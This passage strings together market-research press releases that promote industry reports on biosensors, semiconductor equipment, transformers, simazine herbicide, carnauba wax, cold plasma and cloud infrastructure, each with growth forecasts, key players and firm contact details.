impact forces (regional and global) that cover growth drivers and challenges, growth potential analysis, a strategy dashboard for competitive landscape of Biosensors market support this sector specific data and information points.Browse key industry insights spread across 85 pages with 106 market data tables & 16 figures & charts from this 2017 report Biosensors Market in detail along with the table of contents at:With the growing popularity of portable, affordable, and user-friendly devices, biosensors market is witnessing a plethora of opportunities in the point of care (PoC) testing sector. As per the estimates, the PoC testing led the end-use landscape, having accounted for 47% of the overall industry share in 2015. The trend is likely to continue over the years ahead with the PoC testing segment contributing to a major chunk of the overall biosensors market space. Home healthcare segment is estimated to rank second in the end-use landscape of biosensors industry with an estimated CAGR of 8.5% over 2016-2024.Being at the forefront pertaining to technological advancements, U.S. biosensors industry is projected to lead the global landscape over 2016-2024. The region accounted for 81% of the regional share in 2015. Besides technological developments, increasing prevalence of chronic ailments coupled with the heavy R&D investments and favorable regulatory scenario are the other pivotal factors driving the regional biosensors industry share.Asia Pacific will also profoundly influence the global biosensors industry scenario on account of the region witnessing swift economic developments as well as robust advancements in the overall healthcare infrastructure. Estimates claim the APAC biosensors market to register a CAGR of 11% over the period of 2016-2024.In terms of technology, Electrochemical biosensors led the industry having held 71% of the overall revenue in 2015. The segment is forecast to surpass a revenue of USD 21 billion by 2024. Optical biosensors are also projected to make substantial contributions with a target CAGR of 8.7% over the period of 2016-2024.Make an inquiry for purchasing this report @The government initiatives are certain to play a significant role in the overall expansion of the biosensors market. The recent developments in the field of proteomics and genomics are likely to offer a huge set of opportunities to the overall industry. The technological intervention in this space is also providing a significant impetus to the biosensors market. Major IT companies such as IBM, TCS, and Infosys are heavily investing in this space to explore the untapped prospects. Some of the major biosensors industry players are Abbott Laboratories, Bayer Healthcare, Ercon Inc., EG & G IC Sensors, Strategic Diagnostics, Lifescan, Inc. Johnson & Johnson, and Sysmex Corporation. Pricing is one of the major parameters defining the hierarchy of these participants on the competitive scale. The industry is characterized by heavy R&D investments for the development of highly-efficient and compact biosensors, which are in sync with the robust technology advancements in this space.Biosensors market has also established a remarkable footprint in the agriculture sector. As per the estimates, agriculture applications are estimated to record the highest growth rate of 11% over 2016-2024. Analyzing the current scenario and the fast-paced penetration of biosensors across myriad sectors, this industry is certain to witness a phenomenal growth trajectory over the years to come. Global Market Insights, Inc. forecasts the biosensors market to surpass a revenue of USD 29 billion by 2024.Browse Related Reports:Biotechnology Market Size By Technology (Fermentation, Tissue Engineering and Regeneration, PCR Technology, Nanobiotechnology, Chromatograpgy, DNA Sequencing, Cell Based Assay), By Application (Biopharmacy, Bioservices, Bioagriculture, Bioindustrial), Industry Analysis Report, Regional Outlook (U.S., Canada, Germany, UK, France, Italy, China, India, Japan, South Korea, Brazil, Saudi Arabia), Growth Potential, Price Trends, Competitive Market Share & Forecast, 2016  2024About Global Market Insights:Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Contact Us:Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb:Blog:
Semiconductor Coolers Market to Register Substantial Expansion by 2024

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Semiconductor coolers are thermoelectric coolers, also known as Peltier coolers or thermoelectric modules, which act as a heat pump. These coolers act when a low direct current (DC) voltage is passed through them. The voltage causes the semiconductor cooler to move the heat from one part of the cooler to another part, thus cooling the former area while heating the later area. Semiconductor coolers are generally made of alternating n and p type semiconductors, which results in cooling at the junctions of these semiconductors, while heat is being absorbed from the environment. Reversal of polarity of the DC voltage will cause a reversal in the cool and hot areas of the pump, thus allowing for temperature control of the semiconductor module in a precise manner. The same thermodynamic principle is also applied for portable refrigerators and beverage coolers, among others, however on a larger scale. In general, semiconductor coolers are accompanied by a heat sink, absence of which can lead to malfunctioning of the semiconductor module itself.The Market For Semiconductor Coolers is growing at a very fast pace, primarily owing to the growing demand for electronic devices globally. Semiconductor coolers have wide array of applications across several industrial verticals. They can be found in inkjet printers, commonly used in households, while they are also used in complex semiconductor modules of aeronautical electronic devices. With the growth in Internet of Things (IoT), there is an ever growing demand for electronic devices. Such demand for electronics is fuelling the application of semiconductor coolers in these devices, since semiconductor coolers aids in effective power management and efficient heat dissipation. Thus it is positively impacting the growth of this market. Additionally, the growing penetration of consumer electronics, across the developing and under developed nations is also aiding in the growth of the semiconductor coolers market.Request to view ToC of Report -The global semiconductor coolers market can be segmented, by type, into single stage, multi stage and others. Single stage semiconductor coolers are more suited for medium to low heat dissipation requirements. These semiconductor coolers have several applications, such as maintenance of temperature range in ferroelectric detectors and bolometers, viscosity maintenance of inkjet printers and in fiber optic systems comprising of laser diode arrays, among others. Multi stage semiconductor coolers are more suited for high to medium heat dissipation requirements. These semiconductor coolers have several applications, such as thermal imaging equipments; radio hardened aerospace electronics and night vision equipments among others. By end use industry, the semiconductor coolers market is segmented into aerospace & defense, automotives, healthcare, consumer electronics and others.Multi stage semiconductor coolers are in high demand in the aerospace & defense domain, as the electronic devices used generates high amount of heat. Imaging devices, used in healthcare industry, also has a lot of applications of multi stage semiconductor coolers. The global semiconductor coolers market has been further segmented into five regions: North America, Europe, Asia Pacific (APAC), South America and Middle-East & Africa (MEA). By revenue, Asia Pacific had the largest market share in 2015, followed by North America and Europe. The higher market share of Asia-Pacific can be attributed to the presence of large number of local manufacturers of semiconductor coolers, coupled with higher demand for consumer electronics in the region and higher growth of industrial automation in manufacturing sectors among others.Request to view Brochure of Report -The major companies of the Semiconductor coolers market globally are Ferrotec (USA) Corporation (U.S.), KELK, Ltd. (Japan), Thermion Company (Ukraine), II-VI Incorporated (U.S.), TE Technology, Inc. (U.S.), Laird PLC. (U.K.), RMT, Ltd. (Russia), Wellen Technology Co., Ltd. (China), Hicooltec Electronic (China), Phononic, Inc. (U.S.), Merit Technology Group (China) and Tellurex Corporation. (U.S.) among various others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Semiconductor Dielectric Etching Equipment Market to Register Substantial Expansion by 2024

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Dielectric etching equipment is used extensively for etching dielectric material during the manufacturing process of a semiconductor. The dielectric etching process is an anisotropic process that removes various dielectric substances such as silicon nitride, silicon oxide and different overlying photoresist mask. In many cases, carbon monoxide is used in various dielectric etching process owing to its higher profile control and higher selectivity over oxygen-based or fluorocarbon etch processes. The market growth of semiconductor dielectric etching equipment market is highly dependent on the growth of the overall semiconductor market globally.For the purpose of detailed analysis, The Global Semiconductor Dielectric Equipment Market can be segmented on the basis of product type, application and geography. Based on product type, the market can be classified into dry etching equipment and wet etching equipment. Various application of dielectric etching equipment includes high aspect ratio and self-aligned contacts, capacitor cell, low-k and ultra-low-k dual damascene, 3D NAND and mask open. Moreover, the report also provides cross sectional analysis of all the above mentioned segment across various regions such as North America, Europe, Asia Pacific, Middle East and Africa and Latin America.Increasing demand for energy efficient, compact and high performance electronic devices across the globe triggers the need of miniaturization of various semiconductor circuits. Miniaturization of semiconductor circuits undergoes different wafer fabrication process through various dielectric etching equipment. Thus, the rising need for miniaturizing semiconductor circuits is the primary factor predicted to fuel the demand of various dielectric etching equipment during the forecast period from 2016 to 2024. In addition, rapid technological upgradation in Internet of Thing (IoT) application for providing advanced smart devices to various consumers is also anticipated to boost the demand of technologically advanced semiconductors in the coming years. This in turn is also predicted to affect the market of dielectric etching equipment positively during the forecast period.Request to View ToC of Report -In spite of so many driving factors, the global semiconductor dielectric etching equipment market is anticipated to show a fluctuating growth rate owing to the cyclic nature of the semiconductor industry. Very often, production of semiconductor exceeds the demand from various end users segment, thereby results in inventory pile up. This in turn is anticipated to deter the demand of various semiconductor dielectric etching equipment when various semiconductor manufacturers curtail their production owing to large quantity of unsold stock.By product type, the dry dielectric etching equipment held the largest market share in 2015 owing to its low cost in disposing the materials and reduced material consumption. However, the wet etching technology is anticipated to experience an exponential growth rate during the forecast period. Ease of operation and high etching rate of wet etching equipment makes it the most suitable choice for various end user application segments.Geographically, the global semiconductor dielectric etching equipment market is majorly driven by Asia Pacific region. The main reason behind this regions dominance is attributed to the increasing demand of portable smart devices such as smart phone, tablets and smart television set among others. Rising demand of these smart devices is anticipated to accelerate the demand of miniature semiconductor circuits, thereby predicted to drive the market rapidly. Moreover, in terms of market growth also, this region is expected to dominate the market during the forecast period owing to the presence of large number of semiconductor manufacturers in countries such as Japan, Taiwan and South Korea among others.Despite of low concentration of semiconductor dielectric etching equipment manufacturers across the globe, intense competition exist among the vendors owing to strong foothold of the existing vendors. Moreover, the completion is anticipated to increase in the coming years due to predictive strategic alliance among the existing vendors.Request to View Brochure of Report -Some of the leading players operating in the semiconductor dielectric etching equipment market includes Applied Materials (U.S), AMEC (China), Lam Research (U.S), SPTS Technologies (U.K) and Oxford Instruments (U.K) among others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Semiconductor Dry Strip Systems Market Pegged for Robust Expansion During 2024

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Increasing demand for consumer electronics which include smartphones, tablets and other electronics devices is one of the prime reasons contributing in the rapid growth of semiconductor dry strip systems market globally. Rising usage of advanced electronic products is fueling the application of semiconductor dry strip systems across different regions globally. The market has been segmented into by application which includes consumer electronics, automotive, industrial segment among others. The Market For Semiconductor Dry Strip Systems by geography has been segmented into, Europe, North America, Asia Pacific, Middle East and Africa and South America.Dry strip systems primarily eliminate photoresists and follow every step of diffusion processing. Techniques and process of eliminating these residues include dry and wet strip systems. Moreover, the upgraded advanced dry strip generates plasmas or gaseous chemistries, to which wafers are generally exposed to eliminated mask residues and films. The demand for advanced semiconductor dry strip systems is growing owing to the increasing number and complexity of thin-film layers needed for each wafer has increased. Rising technological advancement the semiconductor manufacturers are focusing on increasing their strip capacity. Furthermore, semiconductor companies also focuses on residue-free stripping and low-damage results. ICs fabrications which feature sizes of sub-100 nm and the application of copper and low k dielectric films are some of the major challenges for the dry strips systems.Request to view ToC of Report -With rising research activities in the field of semiconductor dry strips systems, the application of the system are growing in the consumer electronics, automotive and high-end industrial application segments. Increasing adoption of electronics is one of the major reasons behind the rising popularity of semiconductor dry strips systems. Increasing usage of smartphones, tablets, and other smart gadgets are fueling the market for semiconductor dry strips systems across different regions globally. Furthermore, rising demand for advance quality semiconductor devices is one of the prime factors fueling the market. Major companies operating in the field of semiconductor systems primarily focuses on research activities and introduced dry strips specialized for different photoresist eliminating requirement primarily for foundries and fabs globally.Increasing complexity in the manufacturing process of ICs, the requirement for semiconductor dry strips is growing and is expected to increase in near future. Specialized dry strips applications are on rise in order to meet the diverging clients demand. Strip systems in cost-sensitive memory applications required to give the advance levels of productivity while marinating the lowest cost of ownership. Furthermore semiconductor dry strips systems have also found applications in advanced packaging. In addition, the semiconductor dry strips systems play an important part in the semiconductor devices fabrication. The growing research and development in the field of dry strips solutions for major semiconductor processing fabs is contributing in the positive development of the market. Advanced dry strip processes with negligible substrate damage and high wafer throughput plays a crucial role in the successful semiconductor device fabrication.Asia Pacific is leading the semiconductor dry strip systems market worldwide. Growing usage of consumer electronics devices such as smartphones, tablets, wearable and other smart electronic devices in economies such the China, Japan, South Korea, Taiwan, and India is contributing in the positive growth of this market across Asia Pacific (APAC). North America is one of the prime regions which is contributing in the positive growth of the semiconductor dry strip systems market. The U.S., Mexico and Canada are some of the major economics contributing in the positive development of this market. The U.K., Germany, France and Italy are some of the major countries contributing in the development of the market globally. Brazil, Argentina and U.A.E are expected to witness positive growth over the forecast period from 2016 to 2024 across South America, Middle East and Africa. With increasing advancement in the consumer electronics, industrial and automotive field, the application of semiconductor dry strip systems is growing rapidly.Request to view Brochure of Report -Merger and acquisitions and strategic partnership agreements along with research and development activities are some of the key business strategies adopted by the companies operating in this industry in order to strengthen its presence across different regions globally. Applied Materials, Inc. (California, The U.S.), Hitachi High-Technologies Corporation (Tokyo, Japan), Lam Research Corporation (California, The U.S.), Mattson Technology Inc. (California, The U.S.), PSK Inc. (South Korea), Axcelis Technologies, Inc. (Massachusetts, The U.S.), GlobalFoundries (California, The U.S.), Intel Corporation (California, The U.S.), Novellus Systems Inc. (California, The U.S.), Samsung Group (South Korea), Semiconductor Manufacturing International Corporation (China), Taiwan Semiconductor Manufacturing Company, Limited (Taiwan), United Microelectronics Corporation (Taiwan) and ULVAC Technologies, Inc. (The U.S.) among others are some of the major players operating in the semiconductor dry strip systems market globally.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Single Phase Transformer Market Estimated to Expand at a Robust CAGR over 2024

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A transformer is a static electro-magnetic electrical device which operates on Faradays law of electromagnetism by converting electrical energy from one value to another. Single phase transformers are electrical devices which transfer energy between circuits through electromagnetic induction. This type of transformer generally consists of two electrical coils of wire, known as primary winding and secondary winding. The windings of these transformers are enclosed in pressurized and sealed tanks, and are air-cooled. Moreover, it provides safety against leakage and fire, and also reduces health and environmental concerns. Single phase transformers can withstand moisture and have better short circuit strength and impulse compared to liquid filled transformers. This type of devices are widely used in industrial as well as domestic segments.The key driving factors for Single Phase Transformer Market are increasing demand for electricity worldwide and extensive applicability of these transformers in distribution of electricity. Rapid industrialization in emerging countries coupled with rapid expansion of electricity transmission network globally is likely to fuel the growth of the market for single phase transformers. Moreover, these transformers have various safety advantages over liquid-filled transformers. Thus, single phase transformers are largely used in mining, marine, oil & gas and other industries, which have specific voltage requirements, owing to importance of fire safety in these sectors. Considering all these factors, the market for single phase transformers is expected to witness strong growth during the forecast period. However, factors such as high cost of these devices and lack of government investment in grid stability are restraining the market growth to some extent.Request to view ToC of Report -Single phase transformer market can be broadly classified on the basis of voltage, technology, applications and geography. By voltage, the market is segmented into low voltage and medium voltage. The low voltage segment is likely to hold the largest share of the market by 2024. Low voltage transformers are very efficient and reduces the risk of electric shock, thereby providing protection to the user. The market is divided by technology into VPI single phase transformer and cast resin single phase transformer. Moreover, these transformers have different application areas including commercial and industrial among others. The industrial application segment is anticipated to grow significantly during the forecast period. The major reason is attributed to increasing development of electricity distribution network in industrial sectors. By geography, the single phase transformer market is segmented into North America, Europe, Asia pacific, Middle East and Africa and Latin America.Currently Asia Pacific is dominating the market for single phase transformer in terms of revenue, followed by North America and Europe. The major reason is attributed to increasing government investments and development of long-distance projects in Asia Pacific. Countries such as Japan and China among others are continuously focused on investing significant amounts for the expansion of this market. Moreover, Latin America and Africa are also anticipated to enhance investments in power sector in the future, which in turn is likely to fuel the growth of single phase transformer market. The rate of industrialization is also high in South Africa and Brazil and many power infrastructure development projects are being planned in these regions of the world. In addition, power distribution and transmission infrastructure is also expanding in the Middle East. Huge investments are being made by the government of Saudi Arabia and Iran among others. Developing economies such as China, India, Russia, Brazil and South-Africa are likely to be attractive market for single phase transformers.Request to view Brochure of Report -Top players in this market are ABB Ltd. (Switzerland), Hammond Power Solution Inc. (Canada), General Electric (U.S.), Siemens AG (Germany), Jinpan International Ltd.(China), Schneider Electric (France), Eaton Corporation (Ireland), TBEA Transformer Industrial Group (China), Voltamp Transformer Ltd.(India) and Crompton Graves Ltd. (India).About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Simazine Market to Register Steady Growth During 2016  2024

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Simazine Market: OverviewSimazine is a white colored organic solid which is used as an herbicide belonging to the triazine class. It can be used effectively on all broad-leaved weeds and annual grasses. Weeds deprive the crop plants of essential soil nutrients resulting in their stunted growth. Herbicides are necessary to retard the growth of weeds. Simazine is used globally on all edible and non-edible crops, fruits and berries, and grasslands.It is used as a pre-emergence herbicide. It acts by inhibiting the process of photosynthesis. It is applied as foliar spray and as soil treatment. Compared to other herbicides, its use is considered relatively safe on crop plants and it can be used in combination with other herbicides, owing to which, it is widely accepted as an herbicide in most parts of the world.A sample of this report is available upon request @Simazine Market: Demand Drivers and RestraintsThe growth of the agrochemicals industry for farmlands has been driving the growth of the simazine market. This trend is expected to continue within the forecast period. Additionally, simazine is used as a desiccant and a defoliant. The application of this chemical inhibits the process of photosynthesis in weeds, thereby killing them. Simazine remains active in soil for a period of seven to eight months after application.However, simazine causes toxicity in animals and aquatic flora and fauna, this disadvantage of simazine is expected to hamper the growth of the market in the coming years. Bio-based substitutes of simazine which are milder on the environment are expected to open new opportunities for this market in the coming years.Simazine is used to control weeds on a wide variety of crops such as berries, broad beans, artichokes, asparagus and others. Furthermore, it finds application in farm ponds and fish hatcheries, turfgrass, orchards and vineyards. Simazine is known by trade names such as G-27692, cekusan, aquazine, gesatop, cekusima, simadex, totazina, simanex, tanzine, framed and others. Simazine is available commercially as wettable powder, water dispersible granule, and as liquid formulation. It can be used in combination with other herbicides such as amitrole, atrazine, paraquat dichloride, metolachlor and others. Additionally, it is used to control weeds such as ragweed, fireweed, filaree, common purslane, yellowflower, fall panicum, henbit, groundsel, russian thistle and others.Simazine Market: Region-wise InsightChina is the worlds largest producer and consumer of simazine. China consumes simazine as an agro-chemical. The U.S., Canada, and South America are other users of simazine. The European Union has banned the use of simazine as an herbicide. It is used extensively in Brazil in its agricultural lands. Furthermore, other agrarian economies such as countries in the Indian sub continent are large consumers of simazine. The use of simazine is expected to grow exponentially in these countries in the coming years.To view TOC of this report is available upon request @Simazine Market: Key PlayersThere are several small, medium and large manufacturers of simazine globally, the key players in this market are: ABI Chemicals, AK Scientific, Alfa Aesar, Angene, Apollo Scientific Ltd, Bayer CropScience, Conier Chem, China Jiangsu International Group, Changzhou Wujin Henglong Pesticide Co.,Ltd, Dalian Haokang Electronic Technology Co., Ltd, GFS Chemicals, Finetech Industry, Green Chem Ltd, Hangzhou Uniwise International Co., Ltd, Hengyang KT Chemical Co., Ltd, J and K Scientific, Krishi Rasayan Exports Pvt. Ltd., Panpan Industry Co. Ltd, Merck Millipore, Sigma  Aldrich, Syngenta, Shengda Union Biochemistry Co. Ltd, Wangs Crop-Science Co., Ltd, Zibo Towin Chemical Co., LTD. TCI, Tractus Co. Ltd, Zhejiang Sega Science and Technology Co. Ltd among others.The report offers a comprehensive evaluation of the market. It does so via in-depth insights, understanding market evolution by tracking historical developments, and analyzing the present scenario and future projections based on optimistic and likely scenarios. Each research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology developments, types, applications, and the competitive landscape.About USTransparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendations.Abhishek BudholiyaState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030Website:Email: sales@transparencymarketresearch.com
Carnauba Wax Market Growth to Be Driven by Technological Advancements 2025

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Global Carnauba Wax Market: OverviewCarnauba wax is a type of natural wax-containing mono and di hydroxyl fatty alcohols, hydroxyl acids and their polyesters. Carnauba wax is majorly found in the Brazil and obtained from palm tree leaves. Some of the important properties of carnauba wax are the high melting point, hardest among other natural waxes such as bee wax, high oil retention capability etc. Carnauba wax finds major usage in the cosmetic industry as an additive owing to its characteristic properties. For instance, it delivers high-gloss finish in the makeup products such as lipsticks and lip balms, hypoallergenic properties makes carnauba wax to be used in sensitive skin care products also. In food and pharmaceutical industry, carnauba wax finds application as food additives and binding & coating tablets respectively. The carnauba wax market is well established with the presence of suppliers. The demand for carnauba wax is increasing since the individuals are turning towards adoption of natural and organic products over synthetic and petroleum based products. Carnauba wax is also used as release agents, car polishes and in wood floor polishes.Request Sample Copy of the Report @Global Carnauba Wax Market: Drivers and RestraintsThe global cosmetic industry is expected to grow at a CAGR of 3.9% till 2020 coupled with rising population. The global carnauba wax market is primarily driven by the two major end-use industries, cosmetic and food. Increasing disposable income of individuals which aids in expanding the behavior of individuals towards more adoption of cosmetics boosts the global carnauba wax market. For instance, carnauba wax is widely used an additive in lip balms, mascaras and lipsticks owing to the better emulsification, oil binding properties. Further, for carnauba waxes, there are no price fluctuations when compared to synthetic and petroleum based waxes, which gives an additive advantage for carnauba wax manufacturers.However, the regulations for the manufacture of carnauba wax are strict, since they are widely consumed in food, pharma and cosmetics industries which make the global carnauba wax quite consolidated.Global Carnauba Wax Market: SegmentationOn the basis of type, carnauba wax market can be segmented as follows:-Prime Yellow (Type 1)Extra light Fatty Grey (Type 3)Fatty Grey (Type 4)Prime Yellow MicronisedOn the basis of carnauba wax form, carnauba wax market can be segmented as follows:-FlakesPowderLumpsOn the basis of application, carnauba wax market can be segmented as follows:-AdditivesPolishesRelease agentsFood CoatingsOn the basis of end use, carnauba wax market can be segmented as follows:-PharmaceuticalCosmeticsFoodOthersGlobal Carnauba Wax Market: Region wise OutlookThe global carnauba wax market is divided into seven regions, namely North America, Latin America, Asia Pacific excluding Japan (APEJ), Western Europe, Eastern Europe, Japan and Middle East and Africa (MEA). The carnauba wax market in Latin America and APEJ regions is robust owing to the availability of suitable climatic condition for palm trees from which carnauba wax is extracted. Countries such as Brazil in Latin America and Indonesia, India, China are prominent for carnauba wax production. North America and Eastern European regions majorly import high amounts of carnauba wax.Request TOC of the Report @Global Carnauba Wax Market: Key PlayersSome of the key players identified in the global carnauba wax market includes:Tropical Ceras do Brasil Ltda.Brasil CerasFONCEPIKerax LimitedStrahl & Pitsch, Inc.Carmel Wax Inc.Kahl GmbH & CO. KGMicro Powders, Inc.PARAMELTAMEDEO BRASCAPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Cold Plasma Market Analysis, Segments, Growth and Value Chain 2025

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Global Cold Plasma Market Introduction:Cold plasma also called as non-thermal plasma is one in which the thermal motion of the ions is substantially lower than the hot or thermal plasma. Only the electric force is considered in cold plasma to act on the particles whereas magnetic force is ignored. Cold plasma is used in a number of applications including medical, plasma air purifiers, treated water for high yield organic farming, air activate plasma system, plasma industrial coating, waste water management, food processing and preservation, water purification systems, and ballast water management. Cold plasma has a broad range of application in healthcare including antibiotic, cardiothoracic surgery, urology, GI surgery, advanced laparoscopic surgery, colorectal surgery, dermatology, plastic surgery, obstetrics, and others. Cold plasma market is expected to expand at a significant growth rate, owing to rapidly growing electronics and semiconductor industry across the globe.Request Sample Copy of the Report @Global Cold Plasma Market Dynamics:The growth of the global cold plasma market is driven by growing healthcare industry, growing research and development in the healthcare industry, and advantages of cold plasma over conventional treatments including reduced tissue damage, low resistance to various types of bacteria such as staphylococcus. Macroeconomic factors including growing economy, population and employment, rising disposable income, and rapid rate of urbanization also driving the global cold plasma market. One of the restraining factor of the global cold plasma market includes high cost compared to conventional treatments. The rapid rate of technological advancements and increasing investment in the medical devices market are some of the factors trending the global cold plasma market over the forecast period. The cold plasma market is expected to have a significant opportunity in developed economies such as North America and Western Europe attributed to shifting towards advanced technology.Global Cold Plasma Market Segmentation:The global cold plasma market is segmented on the basis of a regime, application, end-use industry, and region. By end-use industry, the global cold plasma market is segmented into medical, agriculture and food, electronics and semiconductor, textile, and polymer. Among these, the medical segment is growing at a substantial value in terms of CAGR in global cold plasma market whereas the electronics and semiconductor segment accounts for relatively high revenue share during the forecast period.By regime, the global cold plasma market is segmented into:Low-PressureAtmosphericBy application, the global cold plasma market is segmented into:DecontaminationWound HealingFinishingAdhesionCoatingBy end-use industry, the global cold plasma market is segmented into:MedicalAgriculture and FoodElectronics & SemiconductorTextilePolymerGlobal Cold Plasma Market Regional Outlook:On the basis of geographies, the global cold plasma market is segmented into seven regions -- North America, Western Europe, Eastern Europe, Japan, Asia-Pacific except Japan, Latin America, and the Middle East & Africa. Among the regions, North America accounts for a relatively high share of the global cold plasma market in terms of value, attributed to relatively high revenue share in the global healthcare industry. Western Europe is followed by North America in global cold plasma market, owing to high demand for electronics and semiconductors across the region. Eastern Europe and Japan also accounts for significant value share in the global cold plasma market, owing to high technological advancement across the regions. The Asia-Pacific is expected to register relatively high growth rate in the global cold plasma market over the forecast period, owing to growing electronics industry across the region. Latin America and Middle East Africa is expected to have relatively high opportunity for cold plasma market players, attributed to growing economy and high demand for antibiotics. Overall, the outlook for the global cold plasma market will have a positive growth over the forecast period, attributed to high resistance to antibiotics.Request TOC of the Report @Global Cold Plasma Market Player:Few players in the global cold plasma market include ILTONG UK LTD., P2i Limited, Henniker Plasma, Europlasma NV, Tantec A/S, Neoplas Tools GmbH, Enercon Industries Corporation, Plasmatreat GmbH, ADTEC Plasma Technology Co. Ltd., Bovie Medical Corporation, and Nordson Corporation.Persistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Global Infrastructure as a Service (IaaS) Market 2017 Key Players -Amazon Web Services Inc., Datapipe Inc., Fujitsu Ltd., Google Inc., Hewlett-Packard,..

Infrastructure as a Service (IaaS) Market

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Infrastructure as a Service (IaaS) Market:WiseGuyReports.com adds Infrastructure as a Service (IaaS) Market 2017 Global Analysis, Growth, Trends and Opportunities Research Report Forecasting to 2022reports to its database.Executive SummaryGrowing demand and implementation of hybrid cloud architecture is expected to drive the IaaS market. In 2016, hybrid cloud adoption rose from 58% to 71% year-over-year . Hybrid cloud services help organizations abide by its regulatory norms, reduce chances of data loss, gain protection against unexpected disasters, and significantly reduces cost of using a private cloud.The Infrastructure As A Service (IaaS) Global Market Report provides strategists, marketers and senior management with the critical information they need to assess the infrastructure as a service (IaaS) sector.Where is the largest and fastest growing market for infrastructure as a service (IaaS)? How does the market relate to the overall economy, demography and other similar markets? What forces will shape the market going forward? The infrastructure as a service (IaaS) global market report from the Business Research Company answers all these questions and many more.Request Sample Report @The report covers market characteristics, size and growth, segmentation, regional and country breakdowns, competitive landscape, market shares, trends and strategies for this market. It traces the markets historic and forecast market growth by geography. It places the market within the context of the wider cloud services market, and compares it with other markets. The market characteristics section of the report defines and explains the market. The market size section gives the market size ($b) covering both the historic growth of the market and forecasting the future. Drivers and restraints looks at the external factors supporting and controlling the growth of the market. Market segmentations break down market into sub markets. The regional and country breakdowns section gives an analysis of the market in each geography and the size of the market by geography and compares their historic and forecast growth. It covers all the regions, key developed countries and major emerging markets. It draws comparisons with country populations and economies to understand the importance of the market by country and how this is changing. Competitive landscape gives a description of the competitive nature of the market, market shares, and a description of the leading companies. Key financial deals which have shaped the market in recent years are identified. The trends and strategies section highlights the likely future developments in the market and suggests approaches companies can take to exploit this. The infrastructure as a service (IaaS) market section of the report gives context. It compares the infrastructure as a service (IaaS) market with other segments of the cloud services market by size and growth, historic and forecast. It analyses Expenditure Per Capita, Infrastructure As A Service (IaaS) Indicators Comparison.ScopeMarkets Covered: Managed hosting, Disaster Recovery as a Service, Storage as a Service, Colocation, Network management, Content delivery, High Performance Computing as a ServiceCompanies Mentioned: Amazon Web Services Inc., Datapipe Inc., Fujitsu Ltd., Google Inc., Hewlett-Packard, IBM Corporation, Microsoft Corporation, Oracle Corporation, VMwareCountries: Brazil, China, France, Germany, India, Italy, Japan, Spain, Russia, UK, USA and Australia.Regions: Asia-Pacific, Western Europe, Eastern Europe, North America, South America, Middle East And AfricaTime series: Five years historic and forecast.Data: Ratios of market size and growth to related markets, GDP, Expenditure Per Capita, Infrastructure As A Service (IaaS) Indicators Comparison.Data segmentations: country and regional historic and forecast data, market share of competitors, market segments.Sourcing and Referencing: Data and analysis throughout the report is sourced using end notes.For further information on this report, visit -Table of content:1. Infrastructure as a service (IaaS) Market Characteristics;2. Infrastructure as a service (IaaS) Market Size And Growth;3. Pestle Analysis;4. Infrastructure as a service (IaaS) Market Customer Information;5. Infrastructure as a service 